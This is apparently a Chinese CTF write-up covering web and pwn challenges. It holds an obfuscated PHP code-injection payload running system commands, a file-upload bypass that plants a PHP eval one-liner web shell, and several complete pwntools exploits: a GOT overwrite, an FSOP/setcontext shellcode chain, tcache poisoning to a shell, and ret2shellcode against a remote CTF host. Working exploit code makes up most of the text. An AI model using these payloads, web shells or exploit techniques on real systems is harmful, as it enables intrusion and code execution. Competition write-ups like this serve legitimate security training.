c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=ls

1
2
3
4
5
6
7
base_convert(37907361743,10,36) => "hex2bin"

dechex(1598506324) => "5f474554"

$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串

($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

输入payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat%20/flag

即可得到Flag。

Upload

打开得到界面

首先尝试是否是sql注入

但发现无论如何都是返回

考虑这里并不存在sql注入

仔细查看源代码,发现

访问upload.php,得到

考虑此为文件上传,先尝试上传一张普通图片

上传成功

再尝试上传一句话木马,得到

再尝试上传图片马

还是不行

考虑是否为双写文件名绕过

先上传一句话木马,

1
<?php @eval($_POST['cmd']); echo"luck";?>

然后抓包

更改文件名

改完后发包

得到

访问7.php

一句话木马上传成功

用蚁剑连接

Pwn

Signin

分析

题目流程很简单,也没有去符号,代码非常好读:

image-20220808152203171

题中给了 puts 函数地址(可算出libc基址),给了一次任意写的机会,并且最后调用了 strlen(“/bin/sh”)。

那么提示其实很明显了,既然我们传统的 got 表不可写,我们把目光放在 libc 中部分函数同样存在的 got 表 ↓image-20220808152036989

image-20220808152053321

根据 rip 寻址我们能找到:

image-20220808152118440

将这个位置修改为我们的 system 即可调用后门函数。

Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python2
# -*- coding: utf-8 -*
from pwn import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
elf = ELF('./Signin')
context(arch = elf.arch, os = 'linux',log_level = 'debug')
p = process('./Signin')

ru("Here is your gift:")
libc_leak = int(ru('\n'),16)
libc_base = libc_leak - 0x80ed0
system_addr = libc_base + 0x50d60
strlen_got = libc_base + 0x219098
sea("So tell me your magic addr:",str(strlen_got))
sea("Good!What's then?",p64(system_addr))

p.interactive()

LittleBox

2.35 的沙盒 orw 利用。

分析

题目还是比较好读,首先给了 libc 地址,然后 mmap 了一块空间,可以读入数据。最后给了一次任意写 8 字节。

image-20220813183537187

思路
  1. 在 mmap 出来的区域提前布置好 _IO_FILE 结构体和 SigreturnFrame
  2. 任意写劫持 _IO_list_all
  3. exit 进入 FSOP ,执行 shellcode 拿 flag
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python2
# -*- coding: utf-8 -*
from pwn import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
lg = lambda name,data :p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
p = process('./pwn')
# p = remote('127.0.0.1',12002)

ru("here is your gift:")
libc_leak = int(ru('\n'),16)
libc_base = libc_leak - 0x80ed0
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
setcontext_61 = libc_base + 0x53a6d
_IO_wfile_jumps = libc_base + 0x2160c0
_IO_list_all = libc_base + 0x21a680

shellcode = \
asm(
shellcraft.close(0) + \
shellcraft.pushstr('./flag') + \
shellcraft.openat('-100','rsp') + \
shellcraft.read('rax','rsp','0x100') + \
shellcraft.write(1,'rsp','0x100') + \
shellcraft.exit(0)
)

addr = 0x7575000
FAKE_IO_FILE = pack(~(2 | 0x8 | 0x800)) + p64(0)*4 + p64(1) + shellcode
FAKE_IO_FILE = FAKE_IO_FILE.ljust(0x88,'\0')
FAKE_IO_FILE += p64(addr+0x10+0x88)
FAKE_IO_FILE = FAKE_IO_FILE.ljust(0xa0,'\0')
FAKE_IO_FILE += p64(addr+0x10+0xe0)
FAKE_IO_FILE = FAKE_IO_FILE.ljust(0xd8,'\0')
FAKE_IO_FILE += p64(_IO_wfile_jumps) + p64(addr+0x10+0x30) # 0xf0

FAKE_FRAME = '\0'*0x60
FAKE_FRAME += p64(addr) # RDI
FAKE_FRAME += p64(0x1000) # RSI
FAKE_FRAME = FAKE_FRAME.ljust(0x88-8,'\0')
FAKE_FRAME += p64(7) # RDX
FAKE_FRAME = FAKE_FRAME.ljust(0xa0-8,'\0') + p64(addr+0xf0) +p64(libc_base + 0x11ec50)
FAKE_FRAME = FAKE_FRAME.ljust(0xe0-8,'\0') + p64(addr+0x1d8-0x68) + p64(setcontext_61)

payload = 'no'.ljust(0x10,'\0')
payload += FAKE_IO_FILE + FAKE_FRAME + '\0'
sea("say about the signin pwn?",payload)
sea("Just tell me your magic addr:",str(_IO_list_all))
sea("Good!Then show me your magic:",p64(addr+0x10))

p.interactive()

Superfluous

一般的 2.35 下的堆利用,没开沙盒。

分析

题目实现了增删查改的功能,是一个常规堆题。

找到漏洞就比较好办了,本题的漏洞位置比较不同于以往的 dele 和 edit 处。

漏洞在 add 时没有对下标 i 进行限制,导致下标越界到 content 数组,在留下残余大小的情况下可以实现堆溢出。

image-20220813150306269

思路
  1. 堆溢出改大 chunk size 进 ub 泄露 libc 地址
  2. 堆溢出泄露堆地址
  3. 一次 Tcache Poisoning 打 fskey
  4. 一次 Tcache Poisoning 打 tls_dtor_list
  5. exit() getshell
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python2
# -*- coding: utf-8 -*
from pwn import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug')
p = process('./pwn')

def menu(c):
sla("Your Choice:",str(c))

def add_note(name):
menu('1')
sla("Name:",str(name))

def add_content(id,size,data):
menu('2')
sla("Index:",str(id))
sla("Size:",str(size))
sea("Data:",str(data))

def dele(id):
menu('3')
sla("Index:",str(id))

def edit(id,data):
menu('4')
sla("Index:",str(id))
sea("Content:",str(data))

def show(id):
menu('5')
sla("Index:",str(id))

# Easy FengShui for Overflow
for i in range(0x10):
add_note("Just4Size")
add_content(i,0x38,"aaa")

for i in range(0x10):
dele(i)

for i in range(0x10):
add_note("note{}".format(i))

for i in range(0x10):
add_note("data{}".format(i))

for i in range(0x10):
add_note("pad{}".format(i))

# Leak Libc
edit(0,"a"*0x28+p64(0x30*0x18+1))
dele(1)
edit(0,"a"*0x30)
show(0)
libc_leak = u64((ru('\x7f',drop=False)[-6:]).ljust(8,'\0'))
libc_base = libc_leak - 0x219ce0
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
edit(0,"a"*0x28+p64(0x30*0x18+1))

# Leak Heap
add_note("pad")
dele(3)
edit(2,'u'*0x30)
show(2)
ru('u'*0x30)
heap_leak = u64(rc(5).ljust(8,'\0'))
heap_base = heap_leak << 12
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)
edit(2,'u'*0x28+p64(0x31))

# Tcache Attack fs-key
fskey = libc_base - 0x2890
environ = libc_base + 0x221200
dele(5)
edit(4,'u'*0x28+p64(0x31)+p64(fskey^heap_leak))
add_note("note3")
add_content(3,0x28,"data3")
add_note('\0'*15)

# Tcache Attack tls_dtor_list
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
tls_dtor_list = libc_base - 0x2918 - 8 #Align
dele(8)
edit(7,'u'*0x28+p64(0x31)+p64(tls_dtor_list^heap_leak))
add_note(p64(rol(libc_base + 0x50d60,0x11,64))+p64(libc_base + 0x1d8698)[:6]) # system /bin/sh
add_content(8,0x28,"data8")
add_note(p64(heap_base+0x620)+p64(heap_base+0x620)[:7])

# Exit Getshell
menu(0)

p.interactive()

ret2sc

	Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

能开的保护是一个都没开,意味着条件允许甚至可以将shellcode直接送入栈中执行,但具体情况具体分析,将程序丢入ida

存放shellcode的地方以及进行栈溢出的地方都有了,上payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os='linux',arch='amd64')

#io = process('./ret2sc')

io = remote('www.ctf01.sierting.com',10312)

shellcode = asm(shellcraft.sh())

payload = 'A'*(0x70+8)+p64(0x403560)#player_name_addr

io.sendline(shellcode)
io.sendline(payload)

io.interactive()

supeu_prophet

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

大多数保护打开,丢入ida发现是前一题的变体

payload如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *

#io = process('./supeu_prophet')

io = remote('www.ctf01.sierting.com',10200)

for i in range (0,100):
io.sendlineafter('selection (rock/paper/scissors):\n',"rockpaperscissors")

io.interactive()